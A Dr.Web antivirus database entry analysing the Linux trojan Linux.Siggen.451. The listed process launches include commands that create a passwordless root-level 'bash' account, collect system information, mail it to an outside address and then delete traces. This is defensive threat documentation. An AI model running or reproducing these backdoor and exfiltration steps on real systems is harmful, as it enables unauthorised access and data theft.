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Base documentaire

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Mythes sur les antivirus

Actualités

Linux.Siggen.451

Added to the Dr.Web virus database: 2018-02-21

Virus description added: 2018-02-21

Technical Information

Malicious functions:

Gains root privileges

Launches itself as a daemon

Substitutes application name for:

adduser

Launches processes:

/bin/sh <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
<SAMPLE_FULL_PATH>
/bin/sh <SAMPLE_FULL_PATH> -c
clear
id -u
sleep 3
adduser -g 0 -u 0 -o bash
passwd -d bash
ifconfig
uname -a
uptime
sshd
cat /tmp/mama
mail -s Inca o roata root@addlebrain.com
/usr/sbin/sendmail send-mail -i -- root@addlebrain.com
/usr/sbin/exim4 -Mc 1eoYkF-0000BG-4s
rm -rf /tmp/mama
mkdir -p /tmp/. /. /. /. /. /. /. /. /.
sleep 1
/usr/sbin/exim4 #-E1eoYkF-0000BG-4s
/usr/sbin/exim4 -Mc 1eoYkG-0000BN-73
sleep 2
sleep 4

Performs operations with the file system:

Modifies file access rights:

/var/spool/exim4/input/1eoYkF-0000BG-4s-D
/var/spool/exim4/input/hdr.698
/var/spool/exim4/msglog/1eoYkF-0000BG-4s
/var/spool/exim4/input/1eoYkG-0000BN-73-D
/var/spool/exim4/input/hdr.705
/var/spool/exim4/input/hdr.700
/var/spool/exim4/msglog/1eoYkG-0000BN-73
/var/spool/exim4/input/1eoYkG-0000BN-73-J
/var/mail/user

Creates folders:

/tmp/.
/tmp/. /.
/tmp/. /. /.
/tmp/. /. /. /.
/tmp/. /. /. /. /.
/tmp/. /. /. /. /. /.
/tmp/. /. /. /. /. /. /.
/tmp/. /. /. /. /. /. /. /.
/tmp/. /. /. /. /. /. /. /. /.

Creates symlinks:

/var/mail/user.lock"

Creates or modifies files:

/tmp/mama
/tmp/mail.RsXXXXsG8HMd
/tmp/mail.RsXXXXsG8HMd (deleted)
/tmp/mail.RsXXXXA8h4No
/tmp/mail.RsXXXXA8h4No (deleted)
/var/spool/exim4/input//1eoYkF-0000BG-4s-D
/var/spool/exim4/input/1eoYkF-0000BG-4s-D
/var/spool/exim4/input//hdr.698
/var/spool/exim4/input/hdr.698
/var/spool/exim4/msglog//1eoYkF-0000BG-4s
/var/spool/exim4/msglog/1eoYkF-0000BG-4s
/var/log/exim4/mainlog
/var/spool/exim4/db/retry.lockfile
/var/spool/exim4/input//1eoYkG-0000BN-73-D
/var/spool/exim4/input/1eoYkG-0000BN-73-D
/var/spool/exim4/input//hdr.705
/var/spool/exim4/input/hdr.705
/var/spool/exim4/msglog//1eoYkG-0000BN-73
/var/spool/exim4/msglog/1eoYkG-0000BN-73
/var/spool/exim4/input//hdr.700
/var/spool/exim4/input/hdr.700
/var/spool/exim4/input//1eoYkG-0000BN-73-J
/var/mail/user.lock.box-i386.5a8db48c.000002c6
/var/mail/user
/var/spool/exim4/input/1eoYkG-0000BN-73-J

Deletes files:

/tmp/mail.RsXXXXsG8HMd"
/tmp/mail.RsXXXXA8h4No"
/tmp/mama"
/var/spool/exim4/msglog//1eoYkF-0000BG-4s"
/var/spool/exim4/input//1eoYkF-0000BG-4s-D"
/var/spool/exim4/input//1eoYkF-0000BG-4s-H"
/var/spool/exim4/input//1eoYkF-0000BG-4s-J"
/var/mail/user.lock.box-i386.5a8db48c.000002c6"
/var/mail/user.lock"
/var/spool/exim4/msglog//1eoYkG-0000BN-73"
/var/spool/exim4/input//1eoYkG-0000BN-73-D"
/var/spool/exim4/input//1eoYkG-0000BN-73-H"
/var/spool/exim4/input//1eoYkG-0000BN-73-J"

Network activity:

Establishes connection:

<LOCAL_DNS_SERVER>

DNS ASK:

bo##i386

Other:

Collects CPU information

Recommandations pour le traitement

Linux

Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

Version démo gratuite

Pour 1 mois (sans enregistrement) ou 3 mois (avec enregistrement et remise pour le renouvellement)

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